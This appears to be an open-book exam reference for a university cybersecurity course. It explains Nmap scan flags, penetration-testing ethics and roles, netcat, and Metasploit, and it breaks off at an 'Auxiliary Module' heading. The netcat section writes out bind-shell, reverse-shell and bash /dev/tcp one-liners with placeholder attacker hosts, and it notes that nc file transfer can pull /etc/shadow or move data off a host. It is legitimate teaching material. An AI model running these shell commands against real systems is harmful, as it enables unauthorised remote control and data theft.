-PE enables ICMP echo request (Type 8) as a host discovery method — the classic 'ping'. When a host is up, it responds with an ICMP echo reply (Type 0). -PE is one of several host discovery probe types that can be combined or used individually.

WHY it matters: ICMP echo is the most universally understood and expected host discovery technique. It works on most hosts that are not behind ICMP-blocking firewalls. Nmap uses it by default as part of its multi-probe host discovery approach.

Connection: One of four primary host discovery probe types: -PE (ICMP echo), -PS (TCP SYN), -PA (TCP ACK), -PU (UDP). These can be combined — e.g. nmap -PE -PS80 -PA443 means 'try ICMP echo, TCP SYN to port 80, and TCP ACK to port 443 for host discovery.' Using multiple probe types maximises host discovery coverage when some probe types are blocked by firewalls.

-PS (TCP SYN ping)

-PS sends a TCP SYN packet to a specified port (default 80) as a host discovery probe. If the host is up, it responds either with SYN-ACK (port is open, service is listening) or RST (port is closed, but host is reachable). Either response confirms the host is online.

WHY it matters: Many networks block ICMP but allow TCP traffic to port 80 or 443. -PS80 or -PS443 discovers hosts through firewalls that would make them invisible to ICMP-based discovery. It is the standard alternative to -PE when ICMP is filtered.

Connection: Part of the host discovery probe family alongside -PE, -PA, -PU. TCP SYN ping is effective against hosts with web servers or other TCP services visible through firewalls. The SYN approach triggers the same SYN-ACK/RST response distinction as regular SYN port scanning but is used solely for the purpose of confirming a host is alive before committing to a full scan.

-PA (TCP ACK ping)

-PA sends a TCP ACK packet to a specified port (default 80) as a host discovery probe. RFC 793 specifies that a host should respond with RST to an unsolicited ACK packet, confirming it is online. This works because ACK packets appear to be part of an established connection, and some firewalls pass them through when they block SYN packets.

WHY it matters: Some stateless firewalls and packet filters block SYN packets but allow ACK packets (assuming they are part of established outbound connections). -PA can reach hosts through such firewalls when -PS fails. Using -PS and -PA together maximises discovery through firewalls with different rule sets.

Connection: Complements -PS in the host discovery probe family. The ACK probe leverages the same firewall bypass logic as the ACK port scan (-sA). Root privileges are required because crafting ACK packets requires raw socket access.

-PU (UDP ping)

-PU sends a UDP packet to a specified port (default 40125, a typically closed port) as a host discovery probe. If the port is closed, the target should respond with an ICMP port unreachable message, confirming it is online. Open UDP ports may not respond at all, so -PU intentionally targets a port likely to be closed.

WHY it matters: -PU reaches hosts that filter all TCP traffic but allow UDP. It is the UDP equivalent of TCP SYN/ACK pings for discovery. Also useful for discovering hosts behind firewalls that only permit certain UDP services.

Connection: The least commonly used of the four host discovery probe types (-PE, -PS, -PA, -PU), but completes the protocol coverage for host discovery. In an environment with strict TCP filtering but open UDP (e.g. DNS servers), -PU can discover hosts that all TCP probes miss.

-p- (all ports)

-p- instructs Nmap to scan all 65535 TCP ports (or all UDP ports if combined with -sU). Without this flag, Nmap's default is to scan only the 1000 most common ports as defined in its nmap-services database.

WHY it matters: Services do not always run on standard ports. A backdoor, a misconfigured service, or a deliberately non-standard deployment may listen on an unusual port that the 1000-port default would miss entirely. A full -p- scan ensures comprehensive coverage. In the course labs, vsFTPD's backdoor shell opens on port 6200 — a non-standard port that would be found by -p- but possibly missed in a default scan.

Trade-off: Scanning 65535 ports is significantly slower than the default 1000-port scan, especially for UDP. For time-constrained assessments, the default scan is used first, with -p- as a follow-up for thoroughness.

Connection: Typically combined with -sV for comprehensive discovery: nmap -p- -sV target gives all open ports with version information. Also often combined with -Pn when scanning through firewalls. In practice, pentesters run a fast default scan first, then -p- in the background for completeness.

-A (advanced bundle: OS, version, scripts, traceroute)

-A is a convenience flag that enables four features simultaneously: OS detection (-O), version detection (-sV), NSE script scanning (--script=default), and traceroute (--traceroute). It is the 'tell me everything' flag for a single target or small set of targets.

WHY it matters: -A provides the most complete picture of a target from a single scan command. For a penetration test scoping exercise or initial host characterisation, -A gives OS type, service versions, default script results (which may include vulnerability checks), and the network path to the target. It is the most informative single-flag combination in Nmap.

Trade-off: -A is slow, noisy, and detectable. Running -A against many hosts in a large network is impractical for time-constrained or stealthy engagements. For large networks, use -sn for host discovery first, then targeted -A against hosts of interest.

Connection: -A bundles -O, -sV, NSE default scripts, and traceroute. The NSE default script category includes scripts that check for common vulnerabilities, misconfigurations, and information disclosure — making -A not just a discovery tool but a lightweight vulnerability check. For the course labs, nmap -A target is often the recommended initial scan command for getting a comprehensive target overview.

-T0 through -T5 (timing templates)

Nmap's timing templates control the speed and aggressiveness of the scan. T0 (paranoid) through T5 (insane) represent six predefined timing profiles that adjust inter-probe delays, timeout values, and parallelism:

T0 (Paranoid): One probe every 5 minutes. Extremely slow, maximally stealthy — IDS systems are unlikely to correlate probes as a scan. Rarely practical. T1 (Sneaky): One probe every 15 seconds. Very slow, designed to evade IDS detection. T2 (Polite): Slows down to use less bandwidth and reduce load on the target. T3 (Normal): Default timing. Balances speed and reliability. T4 (Aggressive): Assumes a fast, reliable network. Faster timeouts, more parallelism. Recommended for local LAN scanning. T5 (Insane): Maximum speed, minimum timeouts. May miss open ports on slow networks. Used on fast private networks.

WHY it matters: IDS systems detect port scans by correlating many probes from one source within a time window. Slow timing breaks that correlation. Conversely, in authorised lab environments, -T4 or -T5 dramatically reduces scan time.

Connection: Timing templates directly affect IDS detectability — a T0 or T1 scan may completely evade IDS signature-based scan detection. In the course labs, -T4 is typically used for efficiency. Understanding timing is critical for balancing stealth requirements against time constraints in penetration testing Rules of Engagement.

-oN (normal output)

-oN filename saves Nmap's scan results in its human-readable 'normal' format to a file. The normal output format is the same text you see on the terminal during a scan — host status, open ports, service versions, NSE script results — formatted for readability rather than machine parsing.

WHY it matters: Saving scan output is essential for documentation, reporting, and re-referencing results without re-running the scan. In penetration testing, all scan results must be preserved as evidence.

Connection: One of four output formats: -oN (normal/human-readable), -oX (XML/machine-readable), -oG (grepable), -oA (all three simultaneously). -oA is the recommended approach for professional work — it

saves all formats at once, giving flexibility for both human review and tool import. Results from -oN are what appear in penetration test reports.

-oX (XML output)

-oX filename saves Nmap results in XML format. XML output is structured and machine-readable, enabling import into other tools. Metasploit can import Nmap XML output directly (db_import in msfconsole) to populate its database with host and service information for use in subsequent exploitation.

WHY it matters: XML output enables workflow integration. After an Nmap scan, importing results into Metasploit via db_import automatically creates hosts, services, and port entries that Metasploit modules can then target. This is a core workflow in professional penetration testing.

Connection: The -oX format is the most important output format for tool integration. Nessus and other scanners also produce XML output for similar cross-tool import reasons. Combined with db_import in Metasploit's msfconsole, -oX scan results directly feed the exploitation phase of a penetration test.

-oG (grepable output)

-oG filename saves Nmap results in a condensed, single-line-per-host 'grepable' format, designed to be easily processed with grep, awk, and sed. Each host appears on one line with all its port information, making it easy to extract subsets of results with simple command-line tools.

WHY it matters: The grepable format is convenient for quick command-line analysis. For example, grepping the -oG output for 'open' shows only hosts with open ports; piping through awk can extract just IP addresses of hosts with port 445 open for targeted SMB enumeration.

Connection: Part of the four output format family. Less commonly used than -oX for tool integration but useful for ad-hoc command-line analysis. -oA generates all three text formats simultaneously, making this a non-decision in practice — always use -oA.

-oA (all formats)

-oA basename saves Nmap results in all three text formats simultaneously: basename.nmap (normal), basename.xml (XML), and basename.gnmap (grepable). It requires a base filename prefix rather than a full filename — Nmap appends the appropriate extension for each format.

WHY it matters: -oA is the recommended output approach for professional engagements. It provides human-readable output for review, XML output for tool import (Metasploit, reporting platforms), and grepable output for command-line analysis — all from a single scan run. There is no reason not to use -oA when saving results.

Connection: Bundles -oN, -oX, and -oG. The standard workflow in the course labs is: run Nmap with -oA, review .nmap file for initial analysis, import .xml into Metasploit with db_import. Using -oA eliminates the need to re-run scans to get a specific format.

-v (verbosity)

-v increases Nmap's verbosity — it prints more information to the terminal during the scan, including open ports as they are discovered in real time (rather than waiting for the scan to complete), estimated completion times, and additional details about the scan process. -vv increases verbosity further.

WHY it matters: For long scans (full -p- scans, slow timing templates), -v provides immediate feedback as open ports are found rather than making you wait until the entire scan completes. This allows you to start investigating interesting open ports while the scan continues.

Connection: A usability flag rather than a scan technique. Commonly combined with other flags: nmap -sV -p-T4 -v target. The -v flag has no effect on scan results, only on the amount of real-time output displayed. Important for labs and timed exams where you want to see results incrementally.

NSE (Nmap Scripting Engine)

The Nmap Scripting Engine (NSE) is Nmap's extensible scripting framework that allows users to run Lua scripts against targets for tasks ranging from service enumeration and vulnerability detection to exploitation and authentication brute force. NSE scripts are categorised into groups: auth, broadcast, brute, default,

discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln. The default category runs automatically with -A or --script=default.

WHY it matters: NSE transforms Nmap from a pure port scanner into a multi-function security assessment tool. With NSE scripts, a single Nmap command can check for specific CVEs, enumerate SMB shares, test for anonymous FTP login, detect HTTP vulnerabilities, or enumerate SNMP community strings — without switching to another tool.

Key NSE scripts encountered in the course: smb-vuln-ms17-010: checks for EternalBlue (CVE-2017-0144) vulnerability. ftp-anon: checks for anonymous FTP login. http-shellshock: checks for Shellshock (CVE-2014-6271) in CGI endpoints. ssl-heartbleed: checks for Heartbleed (CVE-2014-0160).

smb-security-mode: enumerates SMB signing configuration.

Script syntax: --script=scriptname or --script=category. --script-args passes arguments to scripts.

Connection: NSE is the bridge between Nmap port scanning and vulnerability assessment. It partially overlaps with what Nessus/GVM do, but at a lighter, more targeted level. The -A flag includes NSE default scripts. NSE scripts are stored in /usr/share/nmap/scripts/ on Kali Linux and can be listed with nmap --script-help all.

Port States: open, closed, filtered, unfiltered, open|filtered, closed|filtered Nmap

reports one of six possible states for each probed port, based on the responses received:

open: A service is actively listening on the port and accepting connections. This is the primary finding of interest — open ports are potential attack vectors.

closed: The port is accessible (host responds) but no service is listening. The host's TCP/IP stack responds with RST for TCP or ICMP port unreachable for UDP. Closed ports confirm the host is up and reachable on that port number.

filtered: Nmap cannot determine whether the port is open because probes are being dropped or blocked — no response arrives, or an ICMP unreachable with a filtering code is returned. A firewall, router ACL, or host-based firewall is blocking the probe. Filtered ports are potential attack surfaces hidden by the firewall.

unfiltered: The port is accessible (ACK scan returned RST) but Nmap cannot determine whether it is open or closed. Only the ACK scan (-sA) returns this state. It means 'the firewall is not blocking this port, but I still cannot tell if a service is there.' open|filtered: Nmap cannot distinguish between open and filtered because no response was received. This occurs with UDP scans, FIN/NULL/Xmas scans, and IP protocol scans where both open ports and filtered ports produce no response.

closed|filtered: Only returned by the IP ID idle scan (-sI). Nmap cannot distinguish between closed and filtered.

WHY it matters: Understanding all six states is essential for correctly interpreting scan results. A filtered result does not mean no service exists — it means a firewall is in the way. An unfiltered result from an ACK scan means the firewall allows ACK traffic through but tells you nothing about whether a service is listening.

Connection: Port states directly map to firewall analysis. Filtered → firewall present. Unfiltered (ACK scan) → no firewall rule for this port. open|filtered → UDP or stealthy scan where both possibilities exist. In the course labs, understanding port states helps distinguish 'no service here' from 'firewall blocking my view of a service.'

■ PENETRATION TESTING CONCEPTS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Black Hat

A black hat hacker is a malicious actor who exploits systems without authorisation for personal gain, espionage, sabotage, or ideological reasons. They operate outside the law and have no permission from the target. The term originates from old Western films where villains wore black hats. WHY it matters: Understanding the adversary mindset is foundational to defence — defenders must think like black hats to anticipate their moves. Connection: Contrasts with White Hat and Grey Hat. MITRE ATT&CK; catalogues the TTPs (Tactics, Techniques, and Procedures) of real-world black hat actors. Black hat activity is what Rules of Engagement and legal authorisation exist to distinguish from authorised testing.

White Hat

A white hat hacker is a security professional who uses the same skills and techniques as malicious hackers but does so legally, ethically, and with explicit written authorisation from the target organisation. Penetration testers, ethical hackers, and red team members are all white hats. WHY it matters: White hat work is how organisations find and fix their vulnerabilities before black hats find and exploit them. The value of a white hat engagement is precisely that they think and act like attackers — within defined, authorised boundaries. Connection: The Rules of Engagement, Scope Containment, and Non-Harm Principle are the formal mechanisms that keep a white hat tester distinct from a black hat. The ethical framework (Kant's Categorical Imperative, proportionality) governs conduct.

Grey Hat

A grey hat hacker operates in the space between white and black hat — they may probe systems without authorisation but typically do not have malicious intent, often disclosing vulnerabilities to the owner afterwards (sometimes demanding a fee). Their actions are still usually illegal even if well-intentioned, because permission was never granted. WHY it matters: Grey hats illustrate that intent and legal status are separate questions. Unauthorised testing is illegal regardless of whether harm was intended. Connection: The course emphasises that ethical hacking requires explicit written permission — the grey hat model does not satisfy this requirement. Responsible disclosure programmes (bug bounties) are the legitimate outlet for grey-hat-style curiosity.

Script Kiddie

A script kiddie (also 'script kiddy') is a low-skill threat actor who uses pre-written exploit tools, Metasploit modules, or downloadable attack frameworks without understanding the underlying techniques. They are not capable of writing their own exploits but are still dangerous because automated tools lower the bar for launching real attacks. WHY it matters: The existence of script kiddies is why patching urgency increases when public exploit code (e.g. a new Metasploit module or Exploit Database entry) appears for a vulnerability. You no longer need expertise to exploit it. Connection: The Exploit Database and Metasploit effectively democratise exploits, enabling script kiddies. CVSS scores assume a 'generic attacker' — script kiddies represent a real lower-threat level, while advanced persistent threats (APTs) represent the high end.

Ethical Hacking

Ethical hacking is the authorised, intentional probing of a target system or network to identify security weaknesses before malicious actors do. It encompasses penetration testing, vulnerability assessment, red teaming, and security auditing — all conducted with explicit written

permission, defined scope, and an obligation to report findings to the owner. WHY it matters: Ethical hacking is how organisations validate that their defences actually work under adversarial conditions, not just on paper. It closes the gap between theoretical security policy and real-world resilience. Connection: Ethical hacking requires all five constraints to be satisfied: authorisation (Rules of Engagement), scope containment, data minimisation, non-harm, and cleanup. It maps onto NIS2 requirements for effectiveness assessment and is the professional practice that organisations like Offensive Security (OSCP) certify.

Simulated Attack

A simulated attack is a controlled, authorised recreation of real adversary behaviour against a target system for the purposes of testing defensive capabilities, finding vulnerabilities, or training defenders. It differs from a real attack only in that it is permitted, scoped, documented, and performed by professionals with the intent to improve security. WHY it matters: Real-world resilience can only be validated under realistic attack conditions. A simulated attack exposes gaps that vulnerability scans and code review miss — such as whether defenders detect lateral movement or whether an IDS rule fires. Connection: Simulated attacks are the operational expression of penetration testing. The Red Team conducts the simulation; the Blue Team defends. Purple Team exercises are collaborative simulations where both teams work together. MITRE ATT&CK; provides the playbook for what techniques to simulate.

Proof of Concept

A Proof of Concept (PoC) in the penetration testing context is a controlled demonstration that a vulnerability is genuinely exploitable — typically the minimum necessary to prove impact to the client without causing actual harm. Examples: reading `/etc/passwd` to prove privilege escalation; capturing a session token to prove an XSS vulnerability; showing that a database dump is accessible via SQLi. WHY it matters: Findings without PoC are just speculation. The PoC is the evidence that the vulnerability is real and exploitable, which justifies remediation effort. The Non-Harm Principle shapes how far the PoC goes — you prove you could exfiltrate all data without actually doing so. Connection: PoC is also discussed in the Vulnerability Scanners section (a scanner finding backed by a PoC is higher confidence). The Exploit Database is a public PoC repository. Metasploit modules are polished, production-grade PoCs. The ethical boundary is: demonstrate impact, do not cause it.

Rules of Engagement

Rules of Engagement (RoE) are the formally agreed, written boundaries and permissions that govern a penetration test before it begins. They define: what is in scope (IP ranges, domains, specific services), what is explicitly out of scope, what techniques are permitted or forbidden, the testing timeframe, escalation procedures for critical discoveries, reporting requirements, and cleanup obligations. WHY it matters: Without RoE, testing is indistinguishable from criminal hacking. Written RoE provide legal protection for the tester and the client, ensure no production systems are accidentally disrupted, and align expectations. Connection: RoE operationalise every other ethical constraint — Scope Containment, Non-Harm Principle, Data Minimisation, Evidence Protection, and Cleanup all flow from what the RoE specifies. They also govern vulnerability scanning (the scope of an automated scan is itself a form of RoE). In Kant's framework, RoE represent the contractual articulation of the categorical obligations under which testing proceeds.

Scope Containment

Scope containment is the ethical and operational principle that testing activities must be strictly limited to the targets, systems, and techniques explicitly authorised in the Rules of Engagement

— and must not spill over into systems outside the agreed scope, even if those systems are discovered during the test. WHY it matters: Penetration tests often uncover connected systems, third-party infrastructure, or cloud services. Testing those without permission — even if they appear to belong to the same organisation — is unauthorised access. Scope containment is what separates a professional tester from a reckless one. Connection: In practice, if an IP address is found that is not in scope, it is documented and reported but not tested. If a pivot path leads to an out-of-scope system, the tester stops and notes the finding. Closely tied to RoE — scope is defined by the RoE and containment means respecting that definition throughout the engagement.

Data Minimization

Data minimisation in a penetration testing context means collecting only the data that is necessary to demonstrate a finding, and no more. A tester who proves they can access a database has demonstrated the vulnerability — extracting and retaining all 10 million customer records is unnecessary, legally risky, and unethical. WHY it matters: A penetration test creates a situation where sensitive data becomes accessible. The tester has no right to use that data beyond what is needed to prove the vulnerability. Data minimisation limits exposure and aligns with GDPR Article 5(1)(c) (which applies to the tester's own data handling). Connection: Data minimisation is one of the five ethical constraints alongside RoE, Scope Containment, Non-Harm, and Cleanup. It is also a core GDPR processing principle (Article 5) — the same concept applies in both contexts. Credentials discovered during testing (e.g. database passwords) should not be retained beyond the engagement.

Non-Harm Principle

The Non-Harm Principle requires that penetration testers do not cause unnecessary damage, disruption, or harm to the target systems, data, or business operations — even when they have the technical capability to do so. The goal is to demonstrate impact, not to realise it. Examples: proving you can delete a database without actually deleting it; demonstrating a DoS technique without running it to completion; showing that ransomware could deploy without deploying it. WHY it matters: The client hired a tester to improve security, not to experience a real incident. Causing harm — even accidentally — defeats the purpose and can have legal consequences. It connects directly to proportionality: the amount of 'damage' a tester causes to prove a point should be proportionate to demonstrating that specific risk. Connection: Non-Harm shapes what a PoC looks like. It explains why testers use reverse shells (controlled) rather than ransomware (uncontrolled). It is the test's equivalent of the medical principle 'first, do no harm.'

Evidence Protection

Evidence protection requires that all findings, artefacts, screenshots, logs, exploit outputs, and captured data from a penetration test be handled securely and confidentially throughout the engagement and in any subsequent reporting. This includes encrypted storage of evidence, controlled access to findings, and secure destruction of sensitive data after the engagement concludes. WHY it matters: A penetration test creates a dossier of exactly how to compromise the target. If that information were leaked — to a competitor, a malicious actor, or publicly — it would be as harmful as the attacker having done it themselves. The tester's findings are an extremely sensitive deliverable. Connection: Evidence protection interacts with Data Minimisation (only collect what is needed) and Cleanup (remove artefacts from target systems). GDPR may apply if the evidence includes personal data. In formal engagements, NDA (Non-Disclosure Agreement) provisions govern evidence handling beyond the engagement's end.

Cleanup

Cleanup is the obligation to remove all tools, backdoors, artefacts, test accounts, uploaded files, and payloads that the tester installed on target systems during the engagement — leaving the target in the same state (or better) as it was found. WHY it matters: Every backdoor, reverse shell listener, or test account left behind is a live vulnerability. Even if the organisation patches all the identified issues, a forgotten netcat listener or cron job backdoor could be used by a third party. Cleanup is part of the professional standard. Connection: Cleanup is specified in the Rules of Engagement (scope of cleanup, timing, verification). It directly reduces the residual risk that the test itself introduces. In Metasploit workflows, this means removing Meterpreter sessions, deleting uploaded payloads, and removing any created user accounts. Crontab backdoors (a common persistence technique) are exactly the kind of artefact that cleanup must address.

Kant's Categorical Imperative (ethical hacking reference)

Kant's Categorical Imperative is an ethical principle stating that one should act only according to rules that could be universalised — applied as a general law to everyone. In the ethical hacking context, it is used to evaluate whether a testing practice is ethically defensible: if every security professional behaved this way, would the outcome be beneficial or harmful? WHY it matters: It provides a philosophical framework for why Rules of Engagement, Scope Containment, and Non-Harm matter beyond mere legal compliance. Acting without authorisation cannot be universalised — if everyone probed systems they did not own without permission, no system would be secure. The categorical imperative rules it out. Connection: The course uses Kant as a lens to evaluate the ethical constraints on penetration testing. RoE represent the contractual articulation of the Kantian obligations. Contrast with purely consequentialist reasoning (which might justify unauthorised testing 'for the greater good') — Kant argues the act itself must be justifiable, not just the outcome.

Red Team

The Red Team is the offensive group in a security exercise — they simulate adversary tactics, techniques, and procedures (TTPs) to test whether the organisation's defences can detect and respond to real attacks. Red team exercises go beyond standard penetration testing by simulating full attack campaigns including social engineering, physical access, and multi-stage intrusions. WHY it matters: A red team engagement tests the entire security stack — people, processes, and technology — under realistic conditions. It answers 'could a real attacker achieve their objective?' rather than just 'are these specific vulnerabilities present?' Connection: Red teams use MITRE ATT&CK; to model and execute realistic attack scenarios. The Blue Team is the defensive counterpart. Purple Team exercises are collaborative, where Red and Blue teams work together to maximise learning. Red team findings feed directly into Blue team detection and response improvements.

Blue Team

The Blue Team is the defensive group in a security exercise — they are responsible for detecting, analysing, and responding to attacks (including those by the Red Team). Blue team activities include security monitoring (SIEM), incident response, threat hunting, log analysis, and operating IDS/IPS systems. WHY it matters: The Blue Team is the operational security function that protects the organisation day-to-day. Red team exercises are explicitly designed to test and improve Blue team capabilities — finding the gaps in detection and response that defenders may not know exist. Connection: Blue teams use SIEM and XDR platforms (e.g. Wazuh, Splunk) to detect attacker activity. MITRE ATT&CK; maps both the Red team's techniques (what was

done) and the Blue team's detections (what was missed or caught). Blue team findings from a Red team exercise directly improve IDS rules, SIEM alerts, and incident response playbooks.

Purple Team

A Purple Team exercise is a collaborative security assessment where Red Team and Blue Team work together in real time — the Red Team executes a technique, the Blue Team observes whether it was detected, and both sides immediately discuss what was and was not visible. Unlike a traditional red team engagement (where the Blue Team does not know an exercise is occurring), Purple Team exercises prioritise knowledge transfer and detection improvement. WHY it matters: Purple Team accelerates the feedback loop between attack simulation and defensive improvement. Instead of waiting for a post-engagement debrief, defenders can immediately tune SIEM rules, add IDS signatures, and test detections against live attack techniques. Connection: Purple Team is positioned between traditional Red and Blue operations. It is especially valuable for maturing a Blue Team's detection capabilities against specific MITRE ATT&CK techniques. In terms of outcomes, Purple Team produces better SIEM coverage, more complete IDS rules, and documented detection gaps for prioritised remediation.

■ NETCAT

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Netcat / nc

Netcat (nc) is a versatile command-line networking utility sometimes called the 'Swiss army knife of networking.' It can open TCP or UDP connections to arbitrary hosts and ports, listen for incoming connections, transfer data, and pipe data to/from processes. In security contexts it is used for bind shells, reverse shells, file transfers, port scanning, and as a general-purpose network debugging tool. WHY it matters: Netcat is one of the most commonly used tools in both legitimate network administration and penetration testing. Its simplicity (already present on most Unix-like systems) and flexibility make it ubiquitous. It is also a common post-exploitation tool once a foothold is established. Connection: Netcat is used in the course labs to manually verify open services (e.g. nc target 21 to grab the FTP banner), to establish reverse shells, and as a file transfer mechanism when other tools are unavailable. Metasploit payloads like cmd/unix/reverse essentially deliver a netcat-style shell. The -e flag is what links a shell process to a network connection.

Bind Shell

A bind shell is a shell (e.g. /bin/bash) that is bound to a listening port on the target machine. The attacker connects to that port and receives an interactive command line on the target. The target listens; the attacker connects inbound. Example: on the target: nc -l -p 4444 -e /bin/bash. The attacker then connects from their own machine: nc target_ip 4444. WHY it matters: Bind shells are conceptually simple — the target opens a door and the attacker walks in. However, they require the attacker to be able to reach an inbound port on the target, which is often blocked by firewalls on internet-facing systems. Connection: Contrasts with Reverse Shell. In the course labs, the vsftpd backdoor (CVE-2011-2523) and the Ingreslock backdoor (port 1524) are both forms of bind shell — they wait for a connection on a specific port and deliver a root shell. Port 6200 is the vsftpd backdoor bind shell port.

Reverse Shell

A reverse shell is a shell that connects back from the target to the attacker's machine — the target initiates the outbound connection to the attacker's listener. Example: on the attacker: nc -l -p 4444. The payload on the target executes: nc attacker_ip 4444 -e /bin/bash. WHY it matters:

Reverse shells are the dominant shell technique in real-world exploitation because outbound connections from a target are far less likely to be blocked by firewalls than inbound connections. Most corporate firewalls allow outbound TCP on common ports (80, 443) while blocking all inbound. A reverse shell exploits this asymmetry. Connection: Metasploit's most common payloads are reverse shell variants — windows/meterpreter/reverse_tcp and linux/x86/meterpreter/reverse_tcp both use reverse TCP connections. LHOST and LPORT are the attacker's address and port that the payload connects back to. Reverse shell detection is a core Blue Team / IDS task.

TCP Pipe

A TCP pipe is the general concept of using netcat (or a similar tool) to connect two processes together via a TCP network connection, effectively creating a network-based pipe. Standard Unix pipes connect processes locally (process A | process B); a TCP pipe extends this over a network. In practice, it means piping stdin/stdout of one process to a remote TCP socket. WHY it matters: The TCP pipe concept underpins how bind and reverse shells work — the shell process's stdin and stdout are piped to the network socket, so commands typed by the attacker travel in and output travels back. It also explains file transfer via netcat. Connection: Understanding TCP pipes is conceptual foundation for netcat's -e flag (execute a program and pipe its I/O to the connection). It also explains how Meterpreter's communications work at a higher level — it is a sophisticated encrypted TCP pipe with a full API on top.

File Transfer via nc

Netcat can be used to transfer files between machines by piping file contents over a TCP connection. Receiving end (listen): nc -l -p 4444 > received_file. Sending end: nc receiver_ip 4444 < file_to_send. WHY it matters: In penetration testing post-exploitation, the compromised machine may not have tools like scp, curl, or wget available. Netcat is often present on Unix-like systems by default, making it a reliable fallback for moving files — including uploading additional tools, downloading /etc/shadow, or exfiltrating data. Connection: File transfer via netcat is a fundamental post-exploitation technique. Meterpreter's upload and download commands automate this within a Metasploit session. In the course labs, understanding nc-based file transfer is part of operating at a low level before using Metasploit abstractions.

-l (listen flag)

The -l flag instructs netcat to listen for incoming connections on a specified port rather than initiating an outbound connection. When combined with -p to specify the port, it creates a server that waits for a connection. Example: nc -l -p 4444 opens a TCP listener on port 4444. WHY it matters: The -l flag is what transforms netcat from a client into a server. It is the core of setting up a bind shell (listener on target) or a reverse shell catcher (listener on attacker's machine). Connection: Every reverse shell workflow has the attacker running nc -l -p [PORT] to wait for the target's callback. Metasploit's use handler (multi/handler with exploit/multi/handler) automates this listener function for Meterpreter sessions. Understanding -l is foundational for manual shell work before Metasploit is used.

-v (verbose flag)

The -v flag in netcat enables verbose output, causing netcat to print connection status messages — for example, whether a connection was made, to which IP and port, and when it disconnects. -vv provides even more verbosity. WHY it matters: Verbose mode is essential for debugging whether a connection is being established. Without -v, a netcat listener that receives no connection simply sits silently with no indication of whether it is working. In shell establishment workflows, -v confirms that the reverse shell connected. Connection: Same purpose as Nmap's -

v flag — increase visibility into what is happening during the operation. In the course labs, running the netcat listener with -v is standard practice so that connection events are visible.

-n (numeric, no DNS flag)

The -n flag instructs netcat to use numeric IP addresses only and not perform DNS name resolution. Without -n, netcat attempts to resolve hostnames to IP addresses and reverse-resolve IPs to hostnames. WHY it matters: DNS lookups introduce latency and, more importantly, generate DNS queries that may be logged by internal resolvers — creating additional evidence of activity. Using -n makes netcat faster and leaves fewer DNS traces. Connection: In penetration testing contexts, minimising unnecessary network activity and log traces is good operational practice. The -n flag is also present in netstat (-antp includes it for the same reason — show numeric addresses and ports without DNS lookups).

-p (port flag)

The -p flag specifies the local port number for netcat. In listen mode (-l -p PORT), it sets which port netcat listens on. In client mode, -p sets the local source port for the outbound connection (less commonly used). WHY it matters: Without -p, netcat in listen mode uses a default or random port. For reverse shell workflows, both the attacker's listener port and the payload's LPORT must match — -p is how you specify that port on the listener side. Connection: -p is used in every reverse shell listener setup: nc -l -p 4444. It directly corresponds to LPORT in Metasploit payload configuration. Port selection can also be tactically important — using port 80 or 443 for reverse shells may bypass egress firewall rules.

-e (execute flag)

The -e flag causes netcat to execute a specified program and connect its stdin/stdout to the TCP connection. The most common use is -e /bin/bash to attach a bash shell to the connection — anyone connecting receives a shell. WHY it matters: The -e flag is the mechanism that turns a raw TCP connection into a shell. Without -e (or equivalent), netcat just passes raw data. With -e /bin/bash, the connection becomes an interactive command line on the target machine. This is the core of both bind and reverse shell attacks. Connection: Many modern distributions (and ncat, the Nmap version of netcat) disable -e by default as a security measure — a netcat without -e cannot directly serve shells. In those cases, alternative techniques like bash -i >& /dev/tcp/IP/PORT 0>&1 (bash reverse shell) or mkfifo-based shells are used. Understanding -e helps explain why hardened systems may not have it.

/bin/bash (shell attached via netcat)

/bin/bash is the path to the Bash shell on Unix/Linux systems, commonly used as the program attached via netcat's -e flag to create a remote shell. When the attacker connects to the netcat listener (or the reverse shell connects back), they receive an interactive Bash prompt running on the target machine. WHY it matters: /bin/bash is the most common shell on Linux systems and provides full command-line access — including file system access, process control, network commands, and the ability to run further tools. Post-exploitation begins the moment a shell is available. Connection: In Metasploit, cmd/unix/reverse and similar payloads deliver a /bin/bash shell. Meterpreter is a more advanced alternative that provides additional capabilities beyond a raw shell. The whoami command is typically the first command run after a shell is obtained to confirm the privilege level.

whoami / id (shell identity check commands) whoami prints the current username; id prints the full user identity including UID (user ID), GID (group ID), and any supplementary groups. These are the first commands run after obtaining a shell to confirm what privilege level has been

achieved. WHY it matters: An exploit may deliver a shell but as an unprivileged user — or it may deliver root. Knowing immediately whether you have root/SYSTEM or need to escalate privilege is the first post-exploitation question. If whoami returns root (Linux) or the shell is running as NT AUTHORITY\SYSTEM (Windows), full system access is confirmed. Connection: In every Metasploit lab in the course, after getting a shell or Meterpreter session, getuid (Meterpreter) or whoami (shell) is run to confirm privilege level. EternalBlue (MS17-010) delivers NT AUTHORITY\SYSTEM immediately. Other exploits may deliver a low-privilege user, requiring post-exploitation privilege escalation modules.

■ METASPLOIT FRAMEWORK

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Metasploit Framework

The Metasploit Framework is an open-source penetration testing platform maintained by Rapid7 that provides a structured, modular environment for developing, testing, and executing exploits and post-exploitation activities against target systems. It includes hundreds of exploit modules, thousands of payloads, auxiliary scanners, post-exploitation modules, and encoders — all accessible through a unified command-line interface (msfconsole). WHY it matters: Metasploit is the industry-standard exploitation framework. It turns the process of exploiting known vulnerabilities from a custom-coding task into a configuration task — select the right module, set the target and options, run. This makes exploitation accessible to professionals and script kiddies alike, which is why patching urgency is so high when Metasploit modules appear. Connection: Metasploit integrates with Nmap (via db_import of XML scan results), NVD/CVE data, and the Exploit Database. Owned by Rapid7. The free version is Metasploit Framework; Metasploit Pro is the commercial version. Kali Linux ships with Metasploit pre-installed.

msfconsole

msfconsole is the primary command-line interface for the Metasploit Framework. It provides an interactive shell from which all modules are searched, selected, configured, and executed. It maintains state between commands (current module, session list, database connections) and supports scripting. WHY it matters: All Metasploit operations flow through msfconsole. Understanding its command set (search, use, set, run, sessions) is the core operational skill for using Metasploit. Connection: msfconsole is launched from the Kali terminal as msfconsole or msfconsole -q (quiet mode, skips the banner). It connects to a local PostgreSQL database for storing hosts, services, and findings (db_nmap for Nmap import, db_import for XML files). The workspace command organises findings by engagement.

Auxiliary Module

